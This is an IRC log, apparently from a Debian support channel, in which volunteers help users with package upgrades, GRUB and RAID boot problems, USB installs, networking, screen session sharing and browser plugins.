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| 14:58.34 | cremetorte | hi, how can i update all my packets i installed with aptitude ? |
| 14:58.51 | enouf | s/packet/packages |
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| 14:59.02 | lucky711xx | someone help!! I no longer have root access to my server nor do I have access to sudo commands. Anytime I try to run commands accompanied with sudo, it results in 'Segmentation Fault.' Does anyone know what is causing this? They last time I change anything was when I added an SMB account for my wife and about 15 min later I tried to run a sudo command and now this... |
| 14:59.09 | abrotman | cremetorte: man aptitude |
| 14:59.19 | enouf | you can run update - and safe-upgrade i would imagine |
| 14:59.19 | cremetorte | thanks i tried |
| 14:59.30 | cremetorte | i thought upgrade was something different |
| 14:59.32 | tetonca | lucky init=/bin/sh |
| 14:59.42 | enouf | cremetorte: update only updates the cache |
| 14:59.43 | Linuturk | lucky711xx: can you still login as root? if so, the first step is don't panic |
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| 14:59.54 | cremetorte | i know i thought upgrade also updates the kernel |
| 14:59.58 | enouf | cremetorte: which tells your pkg manager which versions are available on the mirrors |
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| 15:00.07 | lucky711xx | Linuturk, no i cannot |
| 15:00.11 | dob1 | i am not able to execute grep on a file (it's a text file) but when i use it i get " Binary file (standard input) matches", why? |
| 15:00.13 | Linuturk | lucky711xx: if not, the first step is don't panic (if you have physical access to the machine) |
| 15:00.18 | enouf | cremetorte: the 'kernel' on debian is a package |
| 15:00.19 | dob1 | i use cat file |grep string |
| 15:00.25 | enouf | cremetorte: you said all packages ;-) |
| 15:00.32 | lucky711xx | Linuturk, after typing in my password it returns me back to the login prompt |
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| 15:00.45 | Seinis | Hi, hey I found this on my logs: http://pastebin.com/d3cb07ba2 |
| 15:00.47 | enouf | cremetorte: it's in the linux-image-* pkgs |
| 15:00.49 | lucky711xx | Linuturk, yes I am on it right now |
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| 15:00.57 | Seinis | I noticed that it says "Accepted password for root"... should I be worried? |
| 15:01.00 | BattlePigeon | I have a dual boot of debian and WinXp and now, apparently, my comp won't boot up from the winxp cd (tried to do the repair windows). This intentional noobproofing or just some faulty settings? |
| 15:01.03 | Seinis | this ip should have nothing to do with the server |
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| 15:01.18 | enouf | cremetorte: /msg dpkg dist-upgrade and /msg dpkg reference |
| 15:01.31 | enouf | for more about all that |
| 15:01.35 | themill | dob1: man grep and look at the -a option. There's something at the top of the file that grep doesn't like |
| 15:01.55 | Linuturk | lucky711xx: well, you should be able to login via single user mode by modifying your grub entry on boot |
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| 15:02.03 | tetonca | lucky init=/bin/sh |
| 15:02.04 | stew | Seinis: then yes, you should be worried, whoever is at this ip has your root password |
| 15:02.09 | \amethyst | abrotman: thanks :) |
| 15:02.11 | enouf | BattlePigeon: booting from a CD that is bootable is not an OS issue ... |
| 15:02.25 | Linuturk | lucky711xx: that will allow you to fix the issue if you need root priviledges to do so |
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| 15:02.59 | lucky711xx | Linuturk, how would I modify my grub entry with no root or sudo? |
| 15:03.01 | dob1 | themill: thanks |
| 15:03.02 | enouf | BattlePigeon: er .. i'm going to say toy with your silly BIOS settings, or watch the screen for hitting specific Keys at boot time to choose Boot From CDROM |
| 15:03.25 | tetonca | 'e' keybinding in grub men |
| 15:03.27 | tetonca | menu |
| 15:03.31 | Linuturk | lucky711xx: at boot, when it tells you to press escape at the grub menu list |
| 15:03.32 | Linuturk | :) |
| 15:04.01 | BattlePigeon | enouf: I did just that: hit F12 (for boot options) and picked boot from dvd |
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| 15:04.09 | enouf | bingo |
| 15:04.11 | tetonca | Always have a 2nd small installation to boot into to fix stuph with. |
| 15:04.17 | BattlePigeon | it just went straight to grub loader |
| 15:04.34 | Seinis | oh |
| 15:04.45 | Seinis | I was just confused |
| 15:04.47 | lucky711xx | Linuturk, ahh ok ill try that |
| 15:04.47 | Seinis | hehe no probs |
| 15:04.59 | enouf | BattlePigeon: if you set the BIOS boot menu choices to Boot from CD as 1st, HDD 2nd - that should work out - but some Dells and other OEM crapolas messed that all up |
| 15:05.18 | BattlePigeon | enouf: CD is 1st |
| 15:05.24 | BattlePigeon | always has been |
| 15:05.29 | stew | Seinis: the "possible breakin attempt" is becuase the reverse dns for that ip is incorrect. it reverse maps to a name which has no forward mapping |
| 15:05.30 | enouf | BattlePigeon: this way - it'll only boot from a bootable CDROM if one is inserted - ok - oh well ;-) |
| 15:05.42 | stew | Seinis: and the isp for this ip address should fix this issue |
| 15:06.25 | tetonca | Do any new keyboards have removeable keycaps like the IBM model M? |
| 15:06.27 | BattlePigeon | that's why I'm asking if it's something intentional for it to skip boot from cd |
| 15:06.39 | superjet_busy | xterm complains `Preparation of font set "*" for XIM failed.` and already set XTerm*.ximFont, what's wrong? |
| 15:07.38 | BattlePigeon | but wonder what on earth it could be then :/ |
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| 15:09.48 | tetonca | check bios boot order |
| 15:10.15 | BattlePigeon | I was just trying get rid of the "BANTAI USA & EZRAEL [AL - MUKHLIS STUDIO]" text that my ie has instead of just plain "microsoft internet exploder"... apparently caused by a virus |
| 15:12.01 | abrotman | wtf |
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| 15:13.21 | lucky711xx | Linuturk, http://paste.ubuntu.com/82993/ here is what my syslogs look like....looks like my pam_smb.so is crashing |
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| 15:21.02 | niklaswe | hmm has someone has the problem with drbdadm create-md |
| 15:21.14 | niklaswe | i dont have the create-md flag in drbdadm |
| 15:22.24 | abrotman | lucky711xx: go to #ubuntu for help |
| 15:22.30 | loXx | hi, i'm trying to create a debian-usb-install. has someone done it before? after 'zcat boot.img.gz > /dev/sda', i cannot mount the usb stick, but the tutorial says it does need to be mounted, in order to put the netinst-image on the usb stick. any ideas? |
| 15:22.37 | varlon | have any body problem with fonts (Helvetica) in Skype, qtoctave interface? |
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| 15:22.53 | lucky711xx | abrotman, someone was already helping me |
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| 15:23.29 | abrotman | lucky711xx: then they can go to #ubuntu with you |
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| 15:24.28 | tetonca | lox when I use grub to initialize the boot sector of a USB stick I mount the stick and cd to its top level directory and then grub-install |
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| 15:24.48 | [biabia] | enouf, configure-debian wont install. mirrors.geeks.org wont resolve |
| 15:25.09 | tetonca | I would think a zcat there is same as dd an image file and should be the end-all. |
| 15:25.27 | Blackhold | could someone give me some help about grub configuring? |
| 15:26.05 | loXx | tetonca: won't i need an iso-image on the usb drive? |
| 15:26.06 | stew | Blackhold: just ask your real question |
| 15:26.13 | Blackhold | I've got a computer with a scsi disk, now I had attached a ide disk and grub gives me error 22 |
| 15:26.23 | tetonca | lox:nope. an .iso cannot be used an a USB drive. |
| 15:26.33 | Blackhold | I'm a little bit scared to touch grub, 'cause is a productive server |
| 15:26.44 | tetonca | a USB drive is more like an IDE drive than a CDROM> |
| 15:26.45 | Blackhold | how could solve that problem? |
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| 15:27.10 | Blackhold | stew: computer is installed on scsi disks |
| 15:27.39 | Blackhold | but now I need to add extra space, and I found in that problem, I have tested all the possibilites to configure boot |
| 15:27.54 | Blackhold | and the only works is deattaching ide disk |
| 15:27.57 | loXx | tetonca: ok, i'll try. thx |
| 15:28.28 | Blackhold | there's some way to told grub if don't find a hd to check for an other one drive? |
| 15:28.33 | Blackhold | in the same place? |
| 15:29.03 | stew | Blackhold: i'd guess that adding the ide drive causes a change to the drive naming. you might want to switch from using device names like "/dev/sda1" to UUIDs like "UUID=12345-667890" in both menu.lst and fstab |
| 15:29.31 | Blackhold | only changing menu.lst is ok? |
| 15:29.38 | Blackhold | or I need to reinstall grub? |
| 15:29.55 | Blackhold | 'cause each time I had reinstalled grub, I had to reinstall wole machine again |
| 15:30.00 | [biabia] | grub.conf is linked to menu.lst ? |
| 15:30.05 | stew | Blackhold: you'd be changing the #kopt= line in menu.lst and running 'update-grub' |
| 15:30.34 | stew | [biabia]: there isn't a grub.conf in debian, unless maybe you are asking about grub2 |
| 15:30.58 | Blackhold | stew: with the disk attached? |
| 15:31.07 | Blackhold | now the system is working without the disk |
| 15:31.15 | stew | Blackhold: doesn't matter |
| 15:31.30 | Blackhold | gonna look for kopt line |
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| 15:32.33 | Blackhold | root (hd2,1) |
| 15:32.41 | Blackhold | now root is pointing to here |
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| 15:33.41 | Blackhold | and the line I've got by default in menu.lst is: freenode/#debian(+JLPcflnt)] [Act: 1,2,4,5] |
| 15:33.45 | Blackhold | [#debian] |
| 15:33.57 | Blackhold | # kopt_2_6=root=/dev/md0 ro |
| 15:33.59 | Blackhold | this one |
| 15:34.00 | Blackhold | sorry |
| 15:34.32 | rto | Hi, i'm trying to install etch on a new dell server, trouble is, the standard installer doesn't support the broadcom netcard, i have found an alternative iso which should work |
| 15:34.49 | loXx | tetonca: it didn't work. http://www.debian.org/releases/stable/i386/ch04s04.html.en says i need an iso on the usb drive |
| 15:34.50 | stew | oh, linux software raid? is there also a raid signature on the ide disk? |
| 15:34.52 | Blackhold | http://rafb.net/p/tzazqe42.html <- and this is my hds configuration |
| 15:35.16 | rto | This is now on a usb stick with the syslinux boot stuff - but the dell says Missing operating system |
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| 15:35.29 | toolz | Hi, how do I stop iptables net filter |
| 15:35.39 | rto | I am pretty sure i need to run install-mbr on the usb device - but i do not have a debian machine handy - only windows machines - any idea? |
| 15:36.24 | Blackhold | stew: http://rafb.net/p/IOtTKz24.html |
| 15:36.24 | Blackhold | here you have also the raid configuration |
| 15:36.35 | toolz | I keep on seeing a message about iptables net filter |
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| 15:36.56 | Blackhold | now the problem is that on plug in the ide, appears a hda (I think) and tries to boot from hda nor the selected device |
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| 15:37.24 | pirx_ | hi! the '-l' argument to dpkg, it lists all packages that are installed and _have_been_ installed on the system, right? |
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| 15:37.36 | slak | hi, can i add this to Etch apt sources.. "deb http://www.ultramonkey.org/download/3/ sarge main" |
| 15:37.46 | slak | will it work and is that oK? |
| 15:39.29 | Blackhold | stew: what I have to do exactly then? |
| 15:39.40 | Blackhold | uncomment kopt line (with wich info?) |
| 15:39.48 | Blackhold | or assign a uid to root |
| 15:40.03 | Blackhold | how get this uid? is the one shows me de md0 detail? |
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| 15:41.10 | Blackhold | the /boot partition is mounted on /dev/sdc2 partition |
| 15:41.20 | Blackhold | the /dev/md0 is the / |
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| 15:41.52 | Blackhold | ping stew |
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| 15:51.29 | tiny | I"m sure debian can be installed with PXE + nfs method. I downloaded network image and loopmounted it and then exported it. What line do I pass to pxe config file so debian install image picks up correct parameters. install=nfs://192.168.10.99/home/distros/debian doesn't work. |
| 15:51.56 | tiny | should it be something like: install=nfs:192.168.10.99:/home/distros/debian |
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| 15:52.47 | Hideme | I had to restore my /bin dir the other day. Now when I reboot only eth0 comes up, both eth1 and eth2 requires me to manually start it with the init script. Any suggestions? |
| 15:53.18 | petemc | Hideme: are they set to auto in /etc/network/interfaces ? |
| 15:54.12 | Hideme | petemc: yes. and that file hasn't changed. |
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| 15:55.04 | tiny | Mmm, how does debian stable install cope with new NIC hardware? Install images didn't find my NICs. |
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| 15:55.25 | petemc | Hideme: and when you say start with the init script, you mean init.d/networking start ? |
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| 15:55.45 | petemc | tiny: should cope fine, long as the kernel supports the nics |
| 15:55.49 | Hideme | petemc Yes. |
| 15:56.00 | tiny | petemc: sure but kernel is ancient |
| 15:56.45 | petemc | tiny: either it supports it or it doesnt |
| 15:56.59 | petemc | tiny: etch has recentish kernels anyway |
| 15:57.26 | drasko | <PROTECTED> |
| 15:57.27 | tiny | petemc: yes ... recentish |
| 15:57.42 | petemc | tiny: whats your question? |
| 15:58.03 | onetinsoldier | tiny: so, do you know your hardware? do you know what kind of NIC it is? |
| 15:58.08 | tiny | petemc: how do I install debian on this box over network? |
| 15:58.17 | petemc | drasko: screen still attached somewhere else? |
| 15:58.33 | tiny | onetinsoldier: yes, intel and rtl |
| 15:58.55 | petemc | tiny: check the install guide |
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| 15:58.59 | tiny | heh |
| 15:59.00 | tiny | ok |
| 15:59.03 | onetinsoldier | well, they have made a nuber of different models of nic's |
| 15:59.15 | onetinsoldier | number* |
| 15:59.21 | tiny | thanks for help, later |
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| 15:59.27 | drasko | petemc, what do you mean? There is a collegu from the other side trying to display me this file localy, and I'd like to see it remotely |
| 15:59.37 | chemokid | anyone here using xen 3.3 on debian etch? |
| 15:59.51 | petemc | drasko: with screen -x , your screen will be the size of the first connected terminal |
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| 16:00.36 | drasko | petemc, what do you suggest? |
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| 16:01.24 | petemc | drasko: one method would be you both agree on a terminal size before starting, im not sure if screen can do something clever so you both see different sizes |
| 16:01.28 | drasko | petemc, plus, C-a C-l, it does not recognize at all. Nothing happends |
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| 16:05.34 | drasko | on recconect I see even less. Just one line from the presented file from the other side i screen |
| 16:06.22 | cremetorte | from my server s/b startet an DoS attack ... so i gave all my users /bin/false |
| 16:06.36 | cremetorte | i disabled ftp deamon and scanned with rkhunter |
| 16:06.41 | cremetorte | anything else i could check |
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| 16:08.38 | nootoyahora | hello to everyone, my hard disk is going terribly slow, it is a serial-ata, how can I check the configuration? |
| 16:10.31 | Hideme | I had to restore my /bin dir the other day. Now when I reboot only eth0 comes up, both eth1 and eth2 requires me to manually start it with the init.d/networking. Any suggestions? |
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| 16:11.39 | xoz | Hideme: check /etc/network/interfaces |
| 16:11.58 | xoz | make sure auto lo eth0 eth1 eth2 |
| 16:12.24 | Hideme | xoz I have. Set to auto and the file wasn't touched during the restore. |
| 16:12.25 | kibibyte | <PROTECTED> |
| 16:13.02 | fengor | kibibyte: youuse hjkl to move in vi normally ;) |
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| 16:13.13 | kibibyte | nooo |
| 16:13.15 | kibibyte | why |
| 16:13.18 | kibibyte | i dont like it |
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| 16:14.43 | drasko | any idea how to connect to a screen opend by other user, and observe his actions? |
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| 16:15.23 | kibibyte | hm |
| 16:15.25 | ktwilight | drasko, i just gave it to you |
| 16:15.29 | kibibyte | conncect to his x server |
| 16:15.51 | xoz | Hideme: need more debug info |
| 16:16.00 | ktwilight | k, so i have fsck.vfat hanging, it's not doing anything, and i can't kill it, what should i do? >>> 20542 pts/0 D+ 2:37 [fsck.vfat] <<< |
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| 16:21.25 | enouf | [biabia]: i have a nagging suspicion you're not running debian, but some variant perhaps - /msg dpkg sources.list |
| 16:21.44 | Hideme | xoz what else would you like to know? |
| 16:21.56 | enouf | ktwilight: what partition are you fscking? |
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| 16:22.12 | ktwilight | enouf, external hdd, fat32 of course. |
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| 16:22.56 | enouf | ktwilight: well .. depends on how much you want to toy with it ... hold on - phone |
| 16:22.58 | Kikkoman | Help! |
| 16:23.14 | Kikkoman | What was that package for installing gcc? |
| 16:23.38 | Kikkoman | I can't remember, and it is bugging me |
| 16:23.39 | ktwilight | enouf, hmmm...i plugged it out, and it works on another machine, so the disk is safe (as i've assumed, 'cuz the led is green). but now the problem is, i can't kill the process at all - both fsck.vfat and (stupidly) mount. |
| 16:23.58 | ktwilight | enouf, gtg though, so will bbl, message me an answer if you can ;) |
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| 16:25.01 | xoz | Hideme: one way is to put two link in rc2.d/ like S19Networking S20Networking |
| 16:25.18 | xoz | Hideme: and see whether calling networking twice would solve it. |
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| 16:26.03 | xoz | Hideme: it is possible that the modules for eth1 and eth2 are not yet loaded when networking starts so it cannot configure it. |
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| 16:27.13 | xoz | Kikkoman: apt-cache search gcc |
| 16:27.22 | Kikkoman | Thanks |
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| 16:27.55 | enouf | ktwilight: why are you mounting it? |
| 16:27.56 | Hideme | xoz Where should rc2.d be? |
| 16:28.04 | xoz | Hideme: /etc/rc2.d |
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| 16:28.57 | xoz | Hideme: look for the networking link in there and copy it changing the order number |
| 16:29.18 | enouf | ktwilight: so - the issue is .. killing a process? - heh, many ways - except if it's owned now by init[1] or [2], you'll want to reboot .. i guess |
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| 16:29.56 | Kikkoman | It says gcc is already installed... |
| 16:30.03 | Kikkoman | I'll figure it out I guess |
| 16:30.16 | enouf | Kikkoman: install build-essential |
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| 16:31.05 | Hideme | xoz networking doesn't seem to be in rc2.d |
| 16:31.30 | xoz | Hideme: ls | grep -i network |
| 16:31.45 | pingouin | is it possible to use /dev/disk/by-id/ the ID of a device to mount it instead (or as) i do it with /dev/disk/by-uuid/ UUID ? |
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| 16:31.46 | enouf | Hideme: did you replace all the binaries? |
| 16:31.56 | enouf | pingouin: yep |
| 16:31.57 | pingouin | i wonder the syntax of ID in /etc/fstab |
| 16:32.04 | Hideme | xoz Nothing. |
| 16:32.18 | enouf | pingouin: you could even write a udev rule for it, iinm |
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| 16:32.41 | Hideme | enouf: Yes... basicallu copied /bin from an identical machine, re-did all the links, etc.. |
| 16:32.52 | xoz | Hideme: that's it. man update-rc.d and add networking to your rc startup |
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| 16:33.41 | enouf | xoz: missing symlinks from the rc*.d dirs? |
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| 16:34.12 | xoz | enouf: i think Hideme has no symlinks for networking |
| 16:34.23 | petemc | ls -la /etc/rc?.d/*netw* |
| 16:34.51 | pingouin | enouf: do you have any clue about the syntax for ID in fstab instead of UUID ? i dont see it about in the man |
| 16:34.55 | enouf | Hideme: fwiw, /msg dpkg rcconf (read the info in the URLs) .. hrm what about ifupdown i wonder ... |
| 16:35.00 | petemc | drasko: did you get sorted? |
| 16:35.10 | enouf | pingouin: do you see UUID syntax in man? |
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| 16:36.23 | enouf | pingouin: actually - i think the initrd is designed to look for UUID and LABEL only .. so .. to use the others /by-id and /by-path won't work except for udev rules, which would apply to external drives |
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| 16:37.31 | enouf | pingouin: here's the .26-1-686 init file from the initrd for that kernel http://pastebin.ca/raw/1280783 |
| 16:37.46 | pingouin | enouf: that's what i was affraid of, uuid /label is possible, not by-id :/ |
| 16:38.02 | pingouin | enouf: and udev rules...i dont get anything about |
| 16:38.07 | enouf | note; LABEL, UUID, NFS are the only ones other |
| 16:38.14 | pingouin | enouf: anyway, thanks for your confirmation |
| 16:38.16 | enouf | pingouin: you could customize your initrd |
| 16:38.28 | enouf | i think ... |
| 16:38.42 | kibibyte | enouf, have you seen star wars in ascii |
| 16:38.46 | kibibyte | in telne |
| 16:38.47 | kibibyte | t |
| 16:38.48 | enouf | that should work - it depends what else is kernel dependent about those entries |
| 16:38.50 | pingouin | enouf: it's just a usb key and a flac player , they always moving |
| 16:39.10 | enouf | pingouin: oh .. so use ANYTHING .. ;-) like the Serial Number even ;0 |
| 16:39.19 | enouf | !tell pingouin about udev rules |
| 16:39.40 | xoz | Hideme: /etc/rcS.d and /etc/rc0.d should have the networking... not rc2.d |
| 16:39.52 | enouf | pingouin: if you hang on ,.. i even have a nice video for you :-P |
| 16:40.10 | pingouin | yeah |
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| 16:40.35 | enouf | pingouin: go here, and d/l the form you'd like to view it in http://www.hants.lug.org.uk/cgi-bin/wiki.pl?TechTalks/4thAugust2007 |
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| 16:41.52 | enouf | pingouin: another .. but more simplified version - http://www.cafuego.net/2007/11/11/time-machine-kinda |
| 16:42.40 | enouf | pingouin: lsusb -vvv should give you serial number info, if that's an issue - also lshal ...etc (/msg dpkg what's my hardware) ;-) |
| 16:43.01 | enouf | or .. just use anything unique to it |
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| 16:46.08 | pingouin | thanks for your help enouf |
| 16:46.21 | enouf | pingouin: np |
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| 16:52.32 | drasko | petemc, nope. I do not screen -ls gives me No Sockets found in /var/run/screen/S-spidcom. |
| 16:53.35 | drasko | petemc, but the guy on the other side (on remote machine) sees the session with screen -ls... |
| 16:53.42 | drasko | no idea |
| 16:53.56 | enouf | you trying multiuser? |
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| 16:54.53 | enouf | Ctrl-a :multiuser on (?) |
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| 16:59.12 | petemc | drasko: there is a way to force it, if you have root access |
| 16:59.50 | Hideme | xoz right, rcS has 40networking and rc0 has 35networking |
| 17:00.04 | petemc | Hideme: can you pastebin your interfaces file? |
| 17:00.16 | drasko | petemc, in http://www.linux.com/feature/56443 says: The student can now connect to the teacher's screen session. The syntax to connect to another user's screen session is screen -x username/session. |
| 17:00.29 | drasko | so, it is important that teacher sees the session |
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| 17:00.40 | Hideme | petemc nothing has changed in my interfaces file. |
| 17:00.43 | drasko | and I should be able to attach to his screen |
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| 17:01.03 | petemc | drasko: is screen suid root? |
| 17:01.31 | drasko | petemc, no idea... Does it have to be? |
| 17:01.34 | petemc | yes |
| 17:01.53 | drasko | what does it change? |
| 17:02.01 | petemc | drasko: or, you could as root take ownership of the users ttys, then su to the user, screen 0x |
| 17:02.06 | drasko | I am not familiar with the concept... |
| 17:02.25 | petemc | it should be well documented, im pretty sure its a screen FAQ |
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| 17:03.25 | drasko | petemc, I do not have root privileges |
| 17:03.31 | petemc | drasko: looking at the article you posted, it even mentions the requirement of screen to be suid, did you not read that? |
| 17:03.44 | petemc | drasko: then you may be out of luck |
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| 17:04.17 | drasko | petemc, yes, but I thought that this is just for security, not mandatory for screen sharing... |
| 17:04.50 | drasko | ie, that screen can be shared without setuid root |
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| 17:08.53 | drasko | petemc, why does the screen has to be setuid to root, for what action? |
| 17:09.02 | Hideme | xoz and yes, I have the symlinks for networking. Like I said, my issue was with /bin, not /etc |
| 17:09.22 | Neaai | what does it mean for an ethernet interface to be multicast capable ? |
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| 17:15.00 | chemokid | anyone using a compiled version of xen on etch? |
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| 17:17.34 | toolz | where could I see error messages or something |
| 17:17.48 | toolz | my debian machine keeps on blocking after some time and I need to restart it from the button |
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| 17:17.52 | toolz | I don't really understand why |
| 17:19.21 | toolz | since 2-3 days it started to get stuck.. and nothing shows when I turn on the monitor its all blank.. black |
| 17:19.25 | toolz | keyboard not responding |
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| 17:21.47 | joao | hi |
| 17:22.00 | joao | how can i install flash 10 on etch? |
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| 17:22.17 | avu | joao, you don't. |
| 17:22.18 | joao | i have the non-free repo in synaptic, but the flashplugin package osnt there |
| 17:22.27 | Iradieh | joao: from adobes website |
| 17:22.44 | avu | flash 10 requires libraries that are not in etch, same thing as with firefox 3 |
| 17:22.45 | norbert- | hi there, can anyone here point me to documentation on how to increase the SYN ACK queue and decrease the time-out waiting for the three-way handshake on a Debian box? |
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| 17:22.51 | toolz | can anyone help here? or give me some clues |
| 17:23.06 | joao | yes i have tried to manually install the plugin, but it seems to crash epiphany |
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| 17:23.13 | Neaai | toolz: you could check /var/log/messages and /var/log/syslog |
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| 17:23.28 | toolz | Neaai nothing in var/log/messages besides the dmesg |
| 17:23.52 | enouf | Hideme: just for some other checks, /msg dpkg z25 (cause i can't think of anything else) |
| 17:24.25 | joao | avu: i see... |
| 17:24.33 | Neaai | toolz: what do you mean when you say the machine blocks. Freezing as if crashed ? |
| 17:24.34 | joao | and how about flash 9? |
| 17:25.05 | toolz | Neaai, freezes |
| 17:25.07 | toolz | exactly |
| 17:25.09 | toolz | Dec 9 17:55:07 moon kernel: hlds_i686[5028]: segfault at f47b5000 rip f79640d0 rsp ffe95d54 error 4 |
| 17:25.17 | avu | JazZz99, install flashplugin-nonfree from etch-backports |
| 17:25.19 | toolz | could this be wrong? |
| 17:25.20 | avu | erm |
| 17:25.25 | toolz | I mean here: |
| 17:25.29 | avu | joao, install flashplugin-nonfree from etch-backports |
| 17:25.31 | Neaai | toolz: no keyboard leds responding, no ethernet led on/off when you plug and unplug the cable ? |
| 17:25.40 | toolz | exactly |
| 17:25.46 | toolz | no keyboard responding |
| 17:25.58 | toolz | BUT, it acts like a gateway and servers getting net from it still work, and have net, lol |
| 17:26.20 | toolz | Dec 9 17:55:07 moon kernel: hlds_i686[5028]: segfault at f47b5000 rip f79640d0 rsp ffe95d54 error 4 Dec 9 18:06:54 moon -- MARK -- |
| 17:26.53 | toolz | also so many linesc with ntpdate saying: ntpdate[3689]: can't find host 3.debian.pool.ntp.org |
| 17:27.39 | Neaai | toolz: your hlds is crashing. But that shouldn't freeze the machine. also ntpdate might be broken in your case but still that shouldn't freeze the box. |
| 17:28.06 | Neaai | toolz: when that happens, can you login remotely to the machine ? |
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| 17:29.33 | toolz | Neaai, no |
| 17:29.37 | toolz | nothing else responds |
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| 17:31.14 | toolz | whats wrong with it.. |
| 17:31.36 | Neaai | toolz: have you tried not running that hlds and see if it still freezes? do you run hlds as root ? |
| 17:32.06 | toolz | Neaai, I am not sure which one is it.. |
| 17:32.09 | toolz | I run more |
| 17:32.12 | toolz | so I don't really know |
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| 17:32.45 | toolz | its location isnt specified |
| 17:32.53 | toolz | and I have more but just one keeps on showing that error |
| 17:33.38 | Neaai | toolz: find that one that errors and don't run it. I can't know how precisely to do that but that's what i'd look at first. |
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| 17:34.15 | Neaai | toolz: you don't run any of those as root right ? |
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| 17:37.01 | toolz | Neaai, nope |
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| 17:37.07 | toolz | nothing runs at root |
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| 17:43.02 | TopBunny88 | I have installed the falsplayer plugin for iceweaselo about forty timnes and i still get no flash on websites |
| 17:43.17 | tavo | hello, i'm trying to build from source (from apt-get source) the ffmpeg libs so it is compiled for pentium4m. I have already configured and built the source, how can I create the deb packages so I can replace the existing ones? |
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| 17:45.56 | rgr | Im starting to use xmonad is my window manager. But I am a bit confused as to which "init" file I should start gnome-settings-daemon. Some sources say .xsession, others say .xinitrc. Where should it go? |
| 17:46.15 | toolz | Neaai, I have too many hl servers that run |
| 17:46.31 | toolz | can't I trace its location or which is the one causing problems |
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| 17:47.45 | Neaai | toolz: there must be a way to find it. eg remember what if you have installed one (or more) around these freezes started to occur. |
| 17:47.53 | Neaai | around the time* |
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| 17:49.31 | toolz | Neaai, there is another person who installs them and I can't and he doesn't really know which one was installed and started to cause those things |
| 17:49.40 | toolz | I wonder if I can see the error |
| 17:49.43 | toolz | with a path or something |
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| 17:51.01 | TopBunny88 | I have installed the falsplayer plugin for iceweaselo about forty timnes and i still get no flash on websites? |
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| 17:51.41 | cahoot | at least a point for persistance |
| 17:52.11 | Error4o4 | when i want to change the default runlevel, do I directly edit the /etc/inittab or is there some command? |
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| 17:53.00 | TopBunny88 | Is gthere a way I can indstrall opera from the repositories? |
| 17:53.14 | stew | rgr: if you are running "startx" it will look at .xinitrc. if you are loggin in via a display manager (such as gdm or xdm), it will look at .xsession. i normally just synlink one file to the other |
| 17:53.26 | Neaai | toolz: I wouldn't know. I have no idea how hlds works. |
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| 17:53.44 | adb | TopBunny88: no |
| 17:53.55 | toolz | no I was asking if there something which stores the error from the running application with the whole path of it |
| 17:53.57 | stew | TopBunny88: no, it would be illegal to put opera in the repositories, you must get it directly from opera |
| 17:53.59 | Neaai | toolz: It must log something somewhere I suppose. That's what's needed to be found. |
| 17:54.04 | toolz | so you can really see where to look for that error |
| 17:54.14 | toolz | yeah but... where |
| 17:55.03 | TopBunny88 | stew: anty clues on how i can get flas working. |
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| 17:55.28 | stew | TopBunny88: you want to use a free flash plugin? or the non-free one from adobe? |
| 17:55.37 | Neaai | toolz: that depends on the running aplication itself I suppose. |
| 17:56.01 | TopBunny88 | stew the nonfreeplugin. |
| 17:56.05 | J6Dof | hi, after installing lenny i cant see software sources program. at terminal i get this error http://paste.org/index.php?id=4437 |
| 17:56.16 | stew | TopBunny88: did you install the flashplugin-nonfree package? or try to install it some other way? |
| 17:57.56 | TopBunny88 | stew: is there an alternative to the nongreeplugin and will it work? |
| 17:58.32 | J6Dof | never min. dpkg-reconfigure fixed the problem |
| 17:58.39 | stew | TopBunny88: there is gnash |
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| 18:02.59 | TopBunny88 | stew: Is there a way to add a menu diem for,mopera to my Applications > internet menu/ |
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| 18:03.23 | TheKnight | hallo everybody |
| 18:04.01 | TheKnight | i'm desperate 'cause i want xmms on my testing, but you know debian does not support xmms anymore |
| 18:04.14 | TheKnight | i don't like audacious |
| 18:04.21 | TheKnight | any suggestions? |
| 18:04.31 | hoxu | yes, amarok :P |
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| 18:05.48 | stew | TopBunny88: you could drop a file in /usr/share/menu and run 'update-menus' iirc |
| 18:06.36 | hoxu | or ~/.menu/ for a single user |
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| 18:09.24 | TheKnight | hoxu, i'd like to not install any kde app |
| 18:10.45 | hoxu | audio player with light dependencies... I'd imagine someone here can recommend one |
| 18:11.09 | TopBunny88 | How does one start opera in safemode? |
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| 18:11.49 | zibri | hoxu: find tarball for xmms and build yourself? |
| 18:11.57 | hoxu | TheKnight, ^ |
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| 18:12.37 | zibri | yeah, right.. :P |
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| 18:13.24 | zibri | TheKnight: i find xmms2 in repos |
| 18:13.40 | hoxu | asked this on #freenode but I guess I'll ask here too - is there any channel for discussing free software license / legal issues? |
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| 18:17.04 | TheKnight | zibri, xmms2 doesn't have any graphical interface |
| 18:17.15 | jpinx | I log into my remote server and sometimes my connection is too bad/slow and I get frozen out. When I open another terminal and log in and do users, I see myself twice and I'd like to kill the other login. How can I do that without killing myself? |
| 18:17.48 | zibri | TheKnight: ah.. i see |
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| 18:18.55 | zibri | TheKnight: but there's still the option of building xmms from a tarball |
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| 18:19.07 | hoxu | jpinx, you could "ps -H x |grep -i ssh -C5"; "echo $$" and kill the ssh process that has not spawned your shell at least |
| 18:19.10 | TheKnight | zibri, howto? |
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| 18:20.03 | jpinx | hoxu: thanks - I'll try that |
| 18:20.18 | zibri | TheKnight: if you can find a tarball, just extract, ./configure and make.. there's often a README or INSTALL file |
| 18:20.44 | stew | hoxu: try, for instance, "/msg alis list * -topic *legal*" |
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| 18:21.05 | hoxu | stew, will do, thanks |
| 18:21.16 | stew | TopBunny88: xmms2 has a graphical interfaces |
| 18:21.18 | stew | TheKnight: ^^^ |
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| 18:21.25 | hoxu | jpinx, otoh, I think "ps -H x |grep ssh" and "tty" might be more useful |
| 18:21.55 | stew | TheKnight: or have a look at audacity |
| 18:22.58 | TheKnight | stew, i tried xmms2 but i didn't find any graph interface...could you explain me? |
| 18:23.20 | TheKnight | i had a look at audacity...bah...xmms is the best for me... |
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| 18:24.30 | zibri | TheKnight: it seems to me that xmms2 is a daemon that communicates with a client, like gxmms2 ("xmms2 client for the GNOME desktop"). much like mpd. |
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| 18:24.48 | TopBunny88 | how does one restart iceweasel |
| 18:25.04 | stew | TheKnight: xmms was abandoned upstream. it has known bugs that nobody is fixing. it will stop working in debian after lenny, since it relies on gtk1.2 which is being removed from debian |
| 18:25.38 | stew | TheKnight: the front-ends for xmms2 are in separate packages. for instance see the gxmms2 package, or "apt-cache search xmms2 client" |
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| 18:28.27 | TheKnight | stew, thanks i'll try |
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| 18:31.53 | jpinx | hoxu: that is perfect -- thanks for the help |
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| 18:35.26 | kibibyte | why it outputs error |
| 18:35.30 | kibibyte | <PROTECTED> |
| 18:35.30 | kibibyte | command-line line 0: Missing yes/no argument. |
